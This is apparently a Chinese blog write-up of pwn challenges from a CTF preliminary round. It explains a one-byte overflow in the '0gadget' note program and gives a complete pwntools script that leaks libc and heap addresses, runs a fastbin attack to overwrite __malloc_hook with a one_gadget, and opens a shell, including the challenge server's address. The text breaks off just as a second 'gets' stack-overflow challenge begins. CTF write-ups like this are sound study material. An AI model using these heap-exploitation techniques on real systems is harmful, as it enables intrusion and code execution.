0x00 写在前面
今年被拦在了初赛的门槛,无缘深圳的决赛,看不到去年在网鱼看到了小姐姐了QAQ。初赛没有misc和简单的crypto,不是很亲民,只好当场去啃pwn题目。然后…发现要不就是晦涩难懂的C艹,能看懂的堆题要不就开了seccomp,要不就远程是个busy box,看的最明白的就一行gets函数加栈溢出get shell的又无从下手,果然很不亲民啊……
0x01 0gadget
- 程序功能
程序没有去符号表,是一个日志系统,具有增、删、查的功能,最多可以有15个note。每个note对应着在.bss的一个结构体如下:
查日志时会在检查inuse位后将title和content_ptr指向的size长度打印出来。
删除日志时会将content_ptr free掉,并将inuse位赋0。
- 漏洞位置
在add note赋值完content后,赋值title时会有one_byte_off,可覆盖掉content_ptr,之后可以实现任意地址free。
delete note时不会将heap内的content内容清空,可结合show note实现重要地址的leak。
- 利用思路
先利用show和delete unsort bin leak出libc和heap的基址,然后申请一个unsort bin并在其中构造size为0x71的fastbin,再利用one_byte_off溢出content_ptr,free掉fastbin。之后将unsort bin释放掉,再申请刚刚释放的unsort bin并构造其中fastbin的fake_fd至malloc_hook前,对齐size到0x7f,最后申请两次0x60触发fastbin attack,最后修改malloc_hook指针为one_gadget,再次申请时可触发one_gadget起shell。
- my-exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88from pwn import *
local = 1
if local:
p = process('./0gadget')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('106.75.63.193' , 9705)#nc 106.75.63.193 9705
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size , title , content , remark):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('title: ')
p.sendline(title)
p.recvuntil('content: ')
p.send(content)
p.recvuntil('REMARK: ')
p.sendline(remark)
def free(index , remark):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('delete: ')
p.sendline(str(index))
p.recvuntil('REMARK: ')
p.sendline(remark)
def show(index , remark):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('show: ')
p.sendline(str(index))
tmp = p.recvuntil('\nREMARK: ').split('\n')
title = tmp[0].split(': ')[1]
content = tmp[1].split(': ')[1]
p.sendline(remark)
return title , content
def debug():
print pidof(p)[0]
raw_input()
one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147]
#leak libc_base
add(0x80 , 'a' * 0x10 , 'A' * 0x40 , 'aA' * 0x10) #0
add(0x80 , 'b' * 0x10 , 'B' * 0x80 , 'bB' * 0x10) #1
add(0x80 , 'c' * 0x10 , 'C' * 0x40 , 'cC' * 0x10) #2
free(1 , '')
add(0x80 , 'd' * 0x10 , '\x78' , 'dD' * 0x10) #1
libc.address = u64(show(1 , '')[1][:6].ljust(8 , '\x00')) - 0x3c4b78
success('libc_base => ' + hex(libc.address))
add(0x10 , 'e' * 0x10 , 'E' * 0x20 , 'eE' * 0x10) #3
#leak heap_base
free(0 , '')
free(2 , '')
add(0x80 , 'f' * 0x10 , '\x78' , 'fF' * 0x10) #0
heap_base = u64(show(0 , '')[1][8:11].ljust(8 , '\x00')) - 0x120
success('heap_base => ' + hex(heap_base))
#make fastbin_attack
ptr = 0x6022b8
payload = 0x98 * '\x00' + p64(0x71)
add(0x100 , 'g' * 0x10 , payload , 'remark') #2
add(0x90 , 'h' * 0x90 + '\x80' , '' ,'remark') #4
free(4 , '')
free(2 , '')
malloc_hook = libc.symbols['__malloc_hook']
success('malloc_hook => ' + hex(malloc_hook))
silver_bullet = libc.address + one_gadget[3]
success('silver_bullet => ' + hex(silver_bullet))
fake_fd = malloc_hook - 0x13
payload = 0x98 * '\x00' + p64(0x71) + p64(fake_fd)
add(0x100 , 'i' * 0x10 , payload , 'remark') #2
add(0x60 , 'j' * 0x10 , 'test' , 'remark') #5
#trigger fastbin
add(0x60 , 'k' * 0x10 , '123' + p64(silver_bullet) , 'remark') #6
p.sendline('1')
p.sendline('123')
#debug()
p.interactive()
0x02 gets
- 程序功能&程序漏洞
程序很简单,就两行代码,明显的栈溢出